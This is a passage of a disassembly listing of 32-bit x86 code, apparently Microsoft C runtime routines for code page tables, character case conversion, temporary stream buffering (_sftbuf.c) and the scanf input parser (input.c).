sub_42BBB0+27j ; DATA XREF: ... xor eax, eax loc_42BBFC: ; CODE XREF: sub_42BBB0+33j ; sub_42BBB0+3Aj ... mov esp, ebp pop ebp retn sub_42BBB0 endp ; --------------------------------------------------------------------------- off_42BC00 dd offset loc_42BBDE ; DATA XREF: sub_42BBB0+27r dd offset loc_42BBE5 dd offset loc_42BBEC dd offset loc_42BBF3 dd offset loc_42BBFA byte_42BC14 db 0 ; DATA XREF: sub_42BBB0+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BC30 proc near ; CODE XREF: sub_42B800+41p ; sub_42B800+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42BC46 ; --------------------------------------------------------------------------- loc_42BC3D: ; CODE XREF: sub_42BC30+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42BC46: ; CODE XREF: sub_42BC30+Bj cmp [ebp+var_4], 101h jge short loc_42BC5B mov ecx, [ebp+var_4] mov byte_4E97C0[ecx], 0 jmp short loc_42BC3D ; --------------------------------------------------------------------------- loc_42BC5B: ; CODE XREF: sub_42BC30+1Dj mov dword_4E96AC, 0 mov dword_4E96BC, 0 mov dword_4E98C4, 0 mov [ebp+var_4], 0 jmp short loc_42BC8B ; --------------------------------------------------------------------------- loc_42BC82: ; CODE XREF: sub_42BC30+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42BC8B: ; CODE XREF: sub_42BC30+50j cmp [ebp+var_4], 6 jge short loc_42BCA0 mov eax, [ebp+var_4] mov word_4E96B0[eax*2], 0 jmp short loc_42BC82 ; --------------------------------------------------------------------------- loc_42BCA0: ; CODE XREF: sub_42BC30+5Fj mov esp, ebp pop ebp retn sub_42BC30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BCB0 proc near ; CODE XREF: sub_42B800+46p ; sub_42B800:loc_42B9A4p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, dword_4E96AC push ecx nop call near ptr 29A0246h cmp eax, 1 jnz loc_42BEE9 mov [ebp+var_51C], 0 jmp short loc_42BCF1 ; --------------------------------------------------------------------------- loc_42BCE2: ; CODE XREF: sub_42BCB0+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_42BCF1: ; CODE XREF: sub_42BCB0+30j cmp [ebp+var_51C], 100h jnb short loc_42BD12 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_42BCE2 ; --------------------------------------------------------------------------- loc_42BD12: ; CODE XREF: sub_42BCB0+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_42BD2D ; --------------------------------------------------------------------------- loc_42BD24: ; CODE XREF: sub_42BCB0:loc_42BD76j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_42BD2D: ; CODE XREF: sub_42BCB0+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42BD78 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_42BD56 ; --------------------------------------------------------------------------- loc_42BD47: ; CODE XREF: sub_42BCB0+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_42BD56: ; CODE XREF: sub_42BCB0+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_42BD76 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_42BD47 ; --------------------------------------------------------------------------- loc_42BD76: ; CODE XREF: sub_42BCB0+B4j jmp short loc_42BD24 ; --------------------------------------------------------------------------- loc_42BD78: ; CODE XREF: sub_42BCB0+86j push 0 mov eax, dword_4E98C4 push eax mov ecx, dword_4E96AC push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_433870 add esp, 1Ch push 0 mov ecx, dword_4E96AC push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, dword_4E98C4 push ecx call sub_4312B0 add esp, 20h push 0 mov edx, dword_4E96AC push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, dword_4E98C4 push edx call sub_4312B0 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_42BE29 ; --------------------------------------------------------------------------- loc_42BE1A: ; CODE XREF: sub_42BCB0:loc_42BEDFj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_42BE29: ; CODE XREF: sub_42BCB0+168j cmp [ebp+var_51C], 100h jnb loc_42BEE4 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_42BE86 mov eax, [ebp+var_51C] mov cl, byte_4E97C1[eax] or cl, 10h mov edx, [ebp+var_51C] mov byte_4E97C1[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov byte_4E96C0[eax], dl jmp short loc_42BEDF ; --------------------------------------------------------------------------- loc_42BE86: ; CODE XREF: sub_42BCB0+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_42BED2 mov edx, [ebp+var_51C] mov al, byte_4E97C1[edx] or al, 20h mov ecx, [ebp+var_51C] mov byte_4E97C1[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov byte_4E96C0[edx], cl jmp short loc_42BEDF ; --------------------------------------------------------------------------- loc_42BED2: ; CODE XREF: sub_42BCB0+1EBj mov edx, [ebp+var_51C] mov byte_4E96C0[edx], 0 loc_42BEDF: ; CODE XREF: sub_42BCB0+1D4j ; sub_42BCB0+220j jmp loc_42BE1A ; --------------------------------------------------------------------------- loc_42BEE4: ; CODE XREF: sub_42BCB0+183j jmp loc_42BFAE ; --------------------------------------------------------------------------- loc_42BEE9: ; CODE XREF: sub_42BCB0+20j mov [ebp+var_51C], 0 jmp short loc_42BF04 ; --------------------------------------------------------------------------- loc_42BEF5: ; CODE XREF: sub_42BCB0:loc_42BFA9j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_42BF04: ; CODE XREF: sub_42BCB0+243j cmp [ebp+var_51C], 100h jnb loc_42BFAE cmp [ebp+var_51C], 41h jb short loc_42BF58 cmp [ebp+var_51C], 5Ah ja short loc_42BF58 mov ecx, [ebp+var_51C] mov dl, byte_4E97C1[ecx] or dl, 10h mov eax, [ebp+var_51C] mov byte_4E97C1[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov byte_4E96C0[edx], cl jmp short loc_42BFA9 ; --------------------------------------------------------------------------- loc_42BF58: ; CODE XREF: sub_42BCB0+26Bj ; sub_42BCB0+274j cmp [ebp+var_51C], 61h jb short loc_42BF9C cmp [ebp+var_51C], 7Ah ja short loc_42BF9C mov eax, [ebp+var_51C] mov cl, byte_4E97C1[eax] or cl, 20h mov edx, [ebp+var_51C] mov byte_4E97C1[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov byte_4E96C0[ecx], al jmp short loc_42BFA9 ; --------------------------------------------------------------------------- loc_42BF9C: ; CODE XREF: sub_42BCB0+2AFj ; sub_42BCB0+2B8j mov edx, [ebp+var_51C] mov byte_4E96C0[edx], 0 loc_42BFA9: ; CODE XREF: sub_42BCB0+2A6j ; sub_42BCB0+2EAj jmp loc_42BEF5 ; --------------------------------------------------------------------------- loc_42BFAE: ; CODE XREF: sub_42BCB0:loc_42BEE4j ; sub_42BCB0+25Ej mov esp, ebp pop ebp retn sub_42BCB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4E96BC, 0 jz short loc_42BFD3 mov eax, dword_4E96AC jmp short loc_42BFD5 ; --------------------------------------------------------------------------- loc_42BFD3: ; CODE XREF: .XComp0:0042BFCAj xor eax, eax loc_42BFD5: ; CODE XREF: .XComp0:0042BFD1j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BFE0 proc near ; CODE XREF: sub_431830+Dp ; sub_4318F0+Fp ... push ebp mov ebp, esp cmp dword_4EA90C, 0 jnz short loc_42C000 push 0FFFFFFFDh call sub_42B800 add esp, 4 mov dword_4EA90C, 1 loc_42C000: ; CODE XREF: sub_42BFE0+Aj pop ebp retn sub_42BFE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C010 proc near ; CODE XREF: sub_421C90+41p ; sub_421C90+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp dword_4E96BC, 0 jnz short loc_42C03C mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_421470 add esp, 0Ch jmp loc_42C131 ; --------------------------------------------------------------------------- loc_42C03C: ; CODE XREF: sub_42C010+11j push 19h call sub_425990 add esp, 4 loc_42C046: ; CODE XREF: sub_42C010:loc_42C0FEj cmp [ebp+arg_8], 0 jz loc_42C103 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4E97C1[eax] and ecx, 4 test ecx, ecx jz short loc_42C0D5 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_42C09A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_42C103 ; --------------------------------------------------------------------------- loc_42C09A: ; CODE XREF: sub_42C010+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_42C0D3 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_42C103 ; --------------------------------------------------------------------------- loc_42C0D3: ; CODE XREF: sub_42C010+B8j jmp short loc_42C0FE ; --------------------------------------------------------------------------- loc_42C0D5: ; CODE XREF: sub_42C010+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_42C0FE jmp short loc_42C103 ; --------------------------------------------------------------------------- loc_42C0FE: ; CODE XREF: sub_42C010:loc_42C0D3j ; sub_42C010+EAj jmp loc_42C046 ; --------------------------------------------------------------------------- loc_42C103: ; CODE XREF: sub_42C010+3Aj ; sub_42C010+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_42C124 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42C103 ; --------------------------------------------------------------------------- loc_42C124: ; CODE XREF: sub_42C010+101j push 19h call sub_425A30 add esp, 4 mov eax, [ebp+var_4] loc_42C131: ; CODE XREF: sub_42C010+27j mov esp, ebp pop ebp retn sub_42C010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C140 proc near ; CODE XREF: sub_421F10+2Ep ; sub_4240E0+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_42C1F0 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_42C160 ; --------------------------------------------------------------------------- loc_42C157: ; CODE XREF: sub_42C140:loc_42C188j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42C160: ; CODE XREF: sub_42C140+15j cmp [ebp+var_4], 2Dh jnb short loc_42C18A mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, dword_452608[eax*8] jnz short loc_42C188 call sub_42C1E0 mov edx, [ebp+var_4] mov ecx, dword_45260C[edx*8] mov [eax], ecx jmp short loc_42C1CD ; --------------------------------------------------------------------------- loc_42C188: ; CODE XREF: sub_42C140+33j jmp short loc_42C157 ; --------------------------------------------------------------------------- loc_42C18A: ; CODE XREF: sub_42C140+24j cmp [ebp+arg_0], 13h jb short loc_42C1A3 cmp [ebp+arg_0], 24h ja short loc_42C1A3 call sub_42C1E0 mov dword ptr [eax], 0Dh jmp short loc_42C1CD ; --------------------------------------------------------------------------- loc_42C1A3: ; CODE XREF: sub_42C140+4Ej ; sub_42C140+54j cmp [ebp+arg_0], 0BCh jb short loc_42C1C2 cmp [ebp+arg_0], 0CAh ja short loc_42C1C2 call sub_42C1E0 mov dword ptr [eax], 8 jmp short loc_42C1CD ; --------------------------------------------------------------------------- loc_42C1C2: ; CODE XREF: sub_42C140+6Aj ; sub_42C140+73j call sub_42C1E0 mov dword ptr [eax], 16h loc_42C1CD: ; CODE XREF: sub_42C140+46j ; sub_42C140+61j ... mov esp, ebp pop ebp retn sub_42C140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1E0 proc near ; CODE XREF: sub_422070:loc_422342p ; sub_423D50:loc_423DABp ... push ebp mov ebp, esp call sub_42B630 add eax, 8 pop ebp retn sub_42C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1F0 proc near ; CODE XREF: sub_4240E0+4Ap ; sub_4253C0+3Cp ... push ebp mov ebp, esp call sub_42B630 add eax, 0Ch pop ebp retn sub_42C1F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C200 proc near ; CODE XREF: sub_421F80+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_42C209: ; CODE XREF: sub_42C200+31j cmp [ebp+arg_0], 0 jnz short loc_42C22D push offset dword_43E4A4 push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42C22D int 3 ; Trap to Debugger loc_42C22D: ; CODE XREF: sub_42C200+Dj ; sub_42C200+2Aj xor eax, eax test eax, eax jnz short loc_42C209 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_4340A0 add esp, 4 test eax, eax jnz short loc_42C253 xor eax, eax jmp loc_42C350 ; --------------------------------------------------------------------------- loc_42C253: ; CODE XREF: sub_42C200+4Aj cmp [ebp+var_4], offset dword_44FF68 jnz short loc_42C265 mov [ebp+var_8], 0 jmp short loc_42C27E ; --------------------------------------------------------------------------- loc_42C265: ; CODE XREF: sub_42C200+5Aj cmp [ebp+var_4], offset dword_44FF88 jnz short loc_42C277 mov [ebp+var_8], 1 jmp short loc_42C27E ; --------------------------------------------------------------------------- loc_42C277: ; CODE XREF: sub_42C200+6Cj xor eax, eax jmp loc_42C350 ; --------------------------------------------------------------------------- loc_42C27E: ; CODE XREF: sub_42C200+63j ; sub_42C200+75j mov ecx, dword_4E9250 add ecx, 1 mov dword_4E9250, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_42C2A3 xor eax, eax jmp loc_42C350 ; --------------------------------------------------------------------------- loc_42C2A3: ; CODE XREF: sub_42C200+9Aj mov ecx, [ebp+var_8] cmp dword_4E92C8[ecx*4], 0 jnz short loc_42C30A push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_41EDD0 add esp, 10h mov edx, [ebp+var_8] mov dword_4E92C8[edx*4], eax mov eax, [ebp+var_8] cmp dword_4E92C8[eax*4], 0 jnz short loc_42C30A mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_42C339 ; --------------------------------------------------------------------------- loc_42C30A: ; CODE XREF: sub_42C200+AEj ; sub_42C200+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, dword_4E92C8[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_42C339: ; CODE XREF: sub_42C200+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_42C350: ; CODE XREF: sub_42C200+4Ej ; sub_42C200+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C360 proc near ; CODE XREF: sub_421F80+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42C367: ; CODE XREF: sub_42C360+38j cmp [ebp+arg_0], 0 jz short loc_42C394 cmp [ebp+arg_0], 1 jz short loc_42C394 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42C394 int 3 ; Trap to Debugger loc_42C394: ; CODE XREF: sub_42C360+Bj ; sub_42C360+11j ... xor eax, eax test eax, eax jnz short loc_42C367 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_42C3ED mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_42C3ED mov ecx, [ebp+var_4] push ecx call sub_425630 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_42C3ED: ; CODE XREF: sub_42C360+44j ; sub_42C360+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C360 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C410 proc near ; CODE XREF: sub_422070+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4E92E4, 0 jnz short loc_42C437 cmp [ebp+arg_0], 61h jl short loc_42C432 cmp [ebp+arg_0], 7Ah jg short loc_42C432 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_42C432: ; CODE XREF: sub_42C410+11j ; sub_42C410+17j mov eax, [ebp+arg_0] jmp short loc_42C49F ; --------------------------------------------------------------------------- loc_42C437: ; CODE XREF: sub_42C410+Bj push offset dword_4E96A8 nop call near ptr 2920A33h cmp dword_4E96A4, 0 jz short loc_42C469 push offset dword_4E96A8 nop call near ptr 2920974h push 13h call sub_425990 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42C470 ; --------------------------------------------------------------------------- loc_42C469: ; CODE XREF: sub_42C410+39j mov [ebp+var_4], 0 loc_42C470: ; CODE XREF: sub_42C410+57j mov ecx, [ebp+arg_0] push ecx call sub_42C4B0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_42C491 push 13h call sub_425A30 add esp, 4 jmp short loc_42C49C ; --------------------------------------------------------------------------- loc_42C491: ; CODE XREF: sub_42C410+73j push offset dword_4E96A8 call near ptr 2920974h nop loc_42C49C: ; CODE XREF: sub_42C410+7Fj mov eax, [ebp+arg_0] loc_42C49F: ; CODE XREF: sub_42C410+25j mov esp, ebp pop ebp retn sub_42C410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C4B0 proc near ; CODE XREF: sub_42C410+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4E92E4, 0 jnz short loc_42C4DC cmp [ebp+arg_0], 61h jl short loc_42C4D4 cmp [ebp+arg_0], 7Ah jg short loc_42C4D4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_42C4D4: ; CODE XREF: sub_42C4B0+13j ; sub_42C4B0+19j mov eax, [ebp+arg_0] jmp loc_42C5D7 ; --------------------------------------------------------------------------- loc_42C4DC: ; CODE XREF: sub_42C4B0+Dj cmp [ebp+arg_0], 100h jge short loc_42C523 cmp dword_4524F0, 1 jle short loc_42C501 push 2 mov ecx, [ebp+arg_0] push ecx call sub_429750 add esp, 8 mov [ebp+var_10], eax jmp short loc_42C515 ; --------------------------------------------------------------------------- loc_42C501: ; CODE XREF: sub_42C4B0+3Cj mov edx, [ebp+arg_0] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_42C515: ; CODE XREF: sub_42C4B0+4Fj cmp [ebp+var_10], 0 jnz short loc_42C523 mov eax, [ebp+arg_0] jmp loc_42C5D7 ; --------------------------------------------------------------------------- loc_42C523: ; CODE XREF: sub_42C4B0+33j ; sub_42C4B0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42C56C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_42C57D ; --------------------------------------------------------------------------- loc_42C56C: ; CODE XREF: sub_42C4B0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_42C57D: ; CODE XREF: sub_42C4B0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, dword_4E92E4 push edx call sub_4312B0 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42C5B1 mov eax, [ebp+arg_0] jmp short loc_42C5D7 ; --------------------------------------------------------------------------- loc_42C5B1: ; CODE XREF: sub_42C4B0+FAj cmp [ebp+var_4], 1 jnz short loc_42C5C1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_42C5D7 ; --------------------------------------------------------------------------- loc_42C5C1: ; CODE XREF: sub_42C4B0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_42C5D7: ; CODE XREF: sub_42C4B0+27j ; sub_42C4B0+6Ej ... mov esp, ebp pop ebp retn sub_42C4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C5E0 proc near ; CODE XREF: sub_422E90+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_42C5EC: ; CODE XREF: sub_42C5E0+37j cmp [ebp+arg_4], 0 jnz short loc_42C613 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42C613 int 3 ; Trap to Debugger loc_42C613: ; CODE XREF: sub_42C5E0+10j ; sub_42C5E0+30j xor eax, eax test eax, eax jnz short loc_42C5EC loc_42C619: ; CODE XREF: sub_42C5E0+64j cmp [ebp+arg_0], 0 jnz short loc_42C640 push offset dword_43E494 push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42C640 int 3 ; Trap to Debugger loc_42C640: ; CODE XREF: sub_42C5E0+3Dj ; sub_42C5E0+5Dj xor ecx, ecx test ecx, ecx jnz short loc_42C619 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_42C657: ; CODE XREF: sub_42C5E0:loc_42D8C5j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_42D8CA cmp dword_4524F0, 1 jle short loc_42C689 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_429750 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_42C6A5 ; --------------------------------------------------------------------------- loc_42C689: ; CODE XREF: sub_42C5E0+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_42C6A5: ; CODE XREF: sub_42C5E0+A7j cmp [ebp+var_1F8], 0 jz short loc_42C6F3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_42DAA0 add esp, 8 push eax call sub_42DA80 add esp, 8 loc_42C6D4: ; CODE XREF: sub_42C5E0+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_434540 add esp, 4 test eax, eax jz short loc_42C6F3 jmp short loc_42C6D4 ; --------------------------------------------------------------------------- loc_42C6F3: ; CODE XREF: sub_42C5E0+CCj ; sub_42C5E0+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_42D7AE mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_42C755: ; CODE XREF: sub_42C5E0:loc_42C8ADj movsx eax, [ebp+var_18] test eax, eax jnz loc_42C8B2 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp dword_4524F0, 1 jle short loc_42C799 push 4 mov 